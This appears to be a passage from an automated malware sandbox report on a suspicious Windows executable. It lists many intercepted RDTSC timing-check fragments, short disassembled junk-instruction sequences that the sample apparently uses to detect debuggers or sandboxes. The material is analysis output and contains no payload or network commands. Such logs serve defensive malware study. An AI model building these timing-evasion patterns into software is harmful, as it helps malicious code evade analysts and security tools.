Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B1EC18 second address: B1EC22 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F10A8DE1CDCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B1EC22 second address: B1EC35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 pop eax 0x00000007 push edi 0x00000008 pop edi 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B1EC35 second address: B1EC4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnp 00007F10A8DE1CD6h 0x0000000c popad 0x0000000d push edi 0x0000000e jbe 00007F10A8DE1CD6h 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B1EC4A second address: B1EC4F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B1EF3A second address: B1EF3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B1EF3E second address: B1EF5A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F10A8C33EFCh 0x00000007 jo 00007F10A8C33EF6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B1F105 second address: B1F10B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B1F10B second address: B1F110 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B1F110 second address: B1F115 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: AB50C7 second address: AB50CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B29484 second address: B2948E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F10A8DE1CD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B29604 second address: B29608 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B29608 second address: B29624 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F10A8DE1CE8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B30E8D second address: B30EA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F10A8C33F00h 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B30EA6 second address: B30EAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B3117C second address: B3119A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F10A8C33EFDh 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jns 00007F10A8C33EF6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B3119A second address: B311CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jo 00007F10A8DE1D02h 0x0000000d push edi 0x0000000e jmp 00007F10A8DE1CDCh 0x00000013 jmp 00007F10A8DE1CE2h 0x00000018 pop edi 0x00000019 pushad 0x0000001a push ecx 0x0000001b pop ecx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B315D3 second address: B315D9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B315D9 second address: B315E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B30BA5 second address: B30BB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B30BB0 second address: B30BB6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B3186A second address: B31870 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B319EC second address: B31A17 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F10A8DE1CDCh 0x0000000c js 00007F10A8DE1CD6h 0x00000012 pushad 0x00000013 jmp 00007F10A8DE1CE6h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B31A17 second address: B31A33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F10A8C33EF6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f jmp 00007F10A8C33EFDh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B31A33 second address: B31A62 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F10A8DE1CE6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jg 00007F10A8DE1CD8h 0x00000012 push edx 0x00000013 pop edx 0x00000014 jmp 00007F10A8DE1CDAh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B31B90 second address: B31B96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B31B96 second address: B31B9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B31B9A second address: B31BA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B31E8E second address: B31E94 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B31E94 second address: B31EA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F10A8C33EF6h 0x0000000a ja 00007F10A8C33EF6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B31EA4 second address: B31EA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B31EA8 second address: B31EBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F10A8C33EFAh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B35939 second address: B3593D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B03D41 second address: B03D45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B03D45 second address: B03D5D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007F10A8DE1CDCh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B042C7 second address: B042CD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B042CD second address: B042D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B045DD second address: B045E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B045E4 second address: B045EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: AC41F5 second address: AC420E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F10A8C33F04h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B03D59 second address: B03D5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B03E09 second address: B03E0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B35F4D second address: B35F51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B35F51 second address: B35F5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B35F5B second address: B35F5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B35F5F second address: B35F77 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F10A8C33EFEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B35F77 second address: B35F91 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F10A8DE1CD6h 0x00000008 ja 00007F10A8DE1CD6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 js 00007F10A8DE1CD6h 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B35F91 second address: B35F9B instructions: 0x00000000 rdtsc 0x00000002 jns 00007F10A8C33EF6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B360EB second address: B360EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B360EF second address: B360F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B360F3 second address: B360F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B360F9 second address: B36102 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B36102 second address: B3610E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B3610E second address: B36123 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F10A8C33EFEh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B36123 second address: B36127 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B36127 second address: B3612D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B364FE second address: B36536 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F10A8DE1CD6h 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d jmp 00007F10A8DE1CE8h 0x00000012 pop edi 0x00000013 pushad 0x00000014 push ecx 0x00000015 jns 00007F10A8DE1CD6h 0x0000001b jns 00007F10A8DE1CD6h 0x00000021 pop ecx 0x00000022 push ebx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B36536 second address: B3653F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B3653F second address: B36545 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B36545 second address: B36549 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B3CA68 second address: B3CA81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jbe 00007F10A8DE1CDEh 0x0000000b jnc 00007F10A8DE1CD6h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push esi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B3CA81 second address: B3CA90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jns 00007F10A8C33EF6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B3CA90 second address: B3CAA4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F10A8DE1CE0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B3B49C second address: B3B4BA instructions: 0x00000000 rdtsc 0x00000002 jl 00007F10A8C33EF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jno 00007F10A8C33EF6h 0x00000011 jns 00007F10A8C33EF6h 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B3B8AF second address: B3B8C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F10A8DE1CE6h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B3BA41 second address: B3BA45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B3BBA7 second address: B3BBAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B3BBAB second address: B3BBC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 jc 00007F10A8C33EF6h 0x0000000f js 00007F10A8C33EF6h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B3BD4D second address: B3BD51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B3BD51 second address: B3BD6B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F10A8C33EFEh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B3BD6B second address: B3BD6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B3BEEF second address: B3BF0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F10A8C33F06h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B3BF0B second address: B3BF0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B3C062 second address: B3C066 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B3C066 second address: B3C06C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B3C392 second address: B3C3A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d pop edx 0x0000000e push ecx 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B3B1C6 second address: B3B1CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B44185 second address: B4418E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B47054 second address: B47095 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F10A8DE1CD6h 0x0000000a pop edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F10A8DE1CE1h 0x00000015 popad 0x00000016 pop ecx 0x00000017 ja 00007F10A8DE1CF6h 0x0000001d jnc 00007F10A8DE1CE2h 0x00000023 push eax 0x00000024 push edx 0x00000025 push edx 0x00000026 pop edx 0x00000027 pushad 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B471DA second address: B471E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F10A8C33EF6h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B47331 second address: B4737B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 jmp 00007F10A8DE1CDDh 0x0000000b pop esi 0x0000000c jo 00007F10A8DE1CE5h 0x00000012 jmp 00007F10A8DE1CDDh 0x00000017 pushad 0x00000018 popad 0x00000019 push edi 0x0000001a pushad 0x0000001b popad 0x0000001c jnc 00007F10A8DE1CD6h 0x00000022 pop edi 0x00000023 popad 0x00000024 push eax 0x00000025 push edx 0x00000026 push edi 0x00000027 jmp 00007F10A8DE1CE1h 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B4737B second address: B4738C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jnl 00007F10A8C33EFCh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B4738C second address: B47392 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B47392 second address: B47396 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B4ED92 second address: B4EDAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop ecx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f jmp 00007F10A8DE1CDAh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B4EDAB second address: B4EDAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B4D736 second address: B4D750 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F10A8DE1CE5h 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B4DA4A second address: B4DA68 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F10A8C33F08h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B4DA68 second address: B4DA6D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B4DBC7 second address: B4DBDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push ecx 0x00000006 jmp 00007F10A8C33F00h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B4DD54 second address: B4DD5A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B4DD5A second address: B4DD79 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F10A8C33F02h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jl 00007F10A8C33F09h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B04429 second address: B04474 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop ebx 0x00000006 mov dword ptr [esp], eax 0x00000009 or dword ptr [ebp+122D358Ch], esi 0x0000000f mov ebx, dword ptr [ebp+1248F458h] 0x00000015 mov edi, 2EEB1583h 0x0000001a add eax, ebx 0x0000001c call 00007F10A8DE1CDFh 0x00000021 je 00007F10A8DE1CDCh 0x00000027 sub dword ptr [ebp+122D181Bh], eax 0x0000002d pop ecx 0x0000002e push eax 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007F10A8DE1CE0h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: B4E0A7 second address: B4E0AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
